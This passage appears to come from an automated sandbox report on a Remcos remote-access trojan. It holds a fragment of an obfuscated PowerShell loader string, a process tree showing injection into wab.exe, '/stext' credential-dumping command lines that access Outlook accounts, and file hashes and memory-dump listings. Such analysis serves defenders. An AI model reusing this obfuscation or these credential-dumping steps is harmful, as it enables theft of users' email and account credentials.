(lordotic '.hyrori$OrbitopgSprt,enlAntir.coOa smanb Wi.dowaSignetelRa.sfre: HelhedR Nglebei VildsknCoffinmgB.reformUcentrar.ljedeskNummereeBrutalitInterwo=St yger$.omoeotSStovefuoBerkiecrIxo idatUnlooseeUnrenowr Busboyi PlasminTrolddogPakkefosEm lacetCologneyallermrpStaalsteSp,rantnIsti.en.Sem,ntisEjendomuFoxskinbLugtulesDobbeltt Cacosmr g nforiKb.laarnDekadargOrthopt(Pneumor$ Brah.aTPleurotjFalsleveBre.endnTilbagee Tyrekas rbejdstCarise eModsvarm brynilnSlvaldedC nogameHeksemenClowrebeB,rbadis Stradd,M,ntren$ MetaboE ElektrlGennemboDodecaspSptmejseK.tydidrP.ntagysKabi et)Trafik, ');campily $Ringmrket;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1404
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Jafets.Tan && echo t"
      4⤵
      PID:932
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4012
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\fsjagoxftwdzllfvfcqsimccbtqfdtybx"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5100
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\huxsh"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:4776
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\rocdhztb"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 200B
SHA256 f958819a2963dd18709b45d1b7ac0e10915c4715667b143dcdea06799de117d8
MD5 61c81e760e0bc39c11862e99cafac595
SHA1 f3173be306a96d0a393913d84ba8a13a36489bee
SHA512 1e880520d65773089f997ff358b775d8e8038db6854f76bafdc4817ee1943f2990d576e44932369e031c1fff5cbaec9de6fb1b759e3e570a3cdda3055a6dda41
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_xo4huabb.yko.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xo4huabb.yko.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

fsjagoxftwdzllfvfcqsimccbtqfdtybx

Path C:\Users\Admin\AppData\Local\Temp\fsjagoxftwdzllfvfcqsimccbtqfdtybx
Size 4KB
SHA256 5b925ab999c036167ea8ddb4ea5256d33f56405a62faf0c40837d3e69588c5e2
MD5 bfad3231b66bc41dc26604f95ff7798f
SHA1 3bb8a68b16f2dc00e7ae9757fd4be2d10dbe91f1
SHA512 1339ac589e8a88ce019a638a68f8db4d93193b24c8252fe4825de02b816c4572fcc9722d48752904ccba5968072b8dd5070117ad88e8aa4a5dcd53d3c3b5cc0a
SSDEEP 48:wvvv0QBxfvvcQBxfdvv0QBxBvv0QBxakvv0QB7:mvHxvvp1vHPvHbvH7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Jafets.Tan

Path C:\Users\Admin\AppData\Roaming\Jafets.Tan
Size 478KB
SHA256 f8fb3f8afe840964a91673d68175a9b0e7abdc7a083ba11028fac996eb7cc07d
MD5 81f7f2e33b36ee1f09eb7fd85192810a
SHA1 8de93e6f095365044ffd9e4d5decfb6ebab882cb
SHA512 8d3c96267a116967d6b1f7e51967d835ad992301d4a2ca7d4a1bd2d9aa17ab1a242b4322ff1334aef0858ce86f78a1c3198293211b6faac9620d2b2593805c81
SSDEEP 6144:YcwQE1zlbFpifrx6cMjSChhgrm8q8bwueiZgo3SVwFnVPC7dJLg2y4fjFFGOpx:lwQE9Nz+dMjVD9QtZgXAnVK7jLgU5r
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/400-60-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/400-59-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/400-56-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/1404-32-0x0000000005A70000-0x0000000005A8E000-memory.dmp

Download

memory/1404-18-0x0000000004D80000-0x00000000053A8000-memory.dmp

Download

memory/1404-20-0x0000000004C40000-0x0000000004CA6000-memory.dmp

Download

memory/1404-31-0x0000000005420000-0x0000000005774000-memory.dmp

Download

memory/1404-21-0x00000000053B0000-0x0000000005416000-memory.dmp

Download

memory/1404-33-0x0000000005A90000-0x0000000005ADC000-memory.dmp

Download

memory/1404-34-0x00000000072D0000-0x000000000794A000-memory.dmp

Download

memory/1404-35-0x0000000006010000-0x000000000602A000-memory.dmp

Download

memory/1404-37-0x0000000006CD0000-0x0000000006CF2000-memory.dmp

Download

memory/1404-36-0x0000000006D40000-0x0000000006DD6000-memory.dmp

Download

memory/1404-38-0x0000000007F00000-0x00000000084A4000-memory.dmp

Download

memory/1404-19-0x0000000004BA0000-0x0000000004BC2000-memory.dmp

Download

memory/1404-40-0x00000000084B0000-0x000000000C01C000-memory.dmp

Download

memory/1404-17-0x0000000002150000-0x0000000002186000-memory.dmp

Download

memory/4012-68-0x0000000020FF0000-0x0000000021009000-memory.dmp

Download

memory/4012-71-0x0000000020FF0000-0x0000000021009000-memory.dmp

Download

memory/4012-104-0x0000000000AC0000-0x0000000001D14000-memory.dmp

Download

memory/4012-51-0x0000000000AC0000-0x0000000001D14000-memory.dmp

Download

memory/4012-97-0x0000000000AC0000-0x0000000001D14000-memory.dmp

Download

memory/4012-89-0x0000000000AC0000-0x0000000001D14000-memory.dmp

Download

memory/4012-85-0x0000000000AC0000-0x0000000001D14000-memory.dmp

Download

memory/4012-83-0x0000000000AC0000-0x0000000001D14000-memory.dmp

Download

memory/4012-80-0x0000000000AC0000-0x0000000001D14000-memory.dmp

Download

memory/4012-44-0x0000000000AC0000-0x0000000001D14000-memory.dmp

Download

memory/4012-77-0x0000000000AC0000-0x0000000001D14000-memory.dmp

Download

memory/4012-74-0x0000000000AC0000-0x0000000001D14000-memory.dmp

Download

memory/4012-72-0x0000000020FF0000-0x0000000021009000-memory.dmp

Download

memory/4240-3-0x00000267767A0000-0x00000267767C2000-memory.dmp

Download

memory/4240-2-0x00007FFBBEE33000-0x00007FFBBEE35000-memory.dmp

Download

memory/4240-13-0x00007FFBBEE30000-0x00007FFBBF8F1000-memory.dmp

Download

memory/4240-14-0x00007FFBBEE30000-0x00007FFBBF8F1000-memory.dmp

Download

memory/4240-41-0x00007FFBBEE33000-0x00007FFBBEE35000-memory.dmp

Download

memory/4240-42-0x00007FFBBEE30000-0x00007FFBBF8F1000-memory.dmp

Download

memory/4240-50-0x00007FFBBEE30000-0x00007FFBBF8F1000-memory.dmp

Download

memory/4776-61-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4776-57-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4776-55-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/5100-62-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/5100-58-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/5100-54-0x0000000000400000-0x0000000000478000-memory.dmp

Download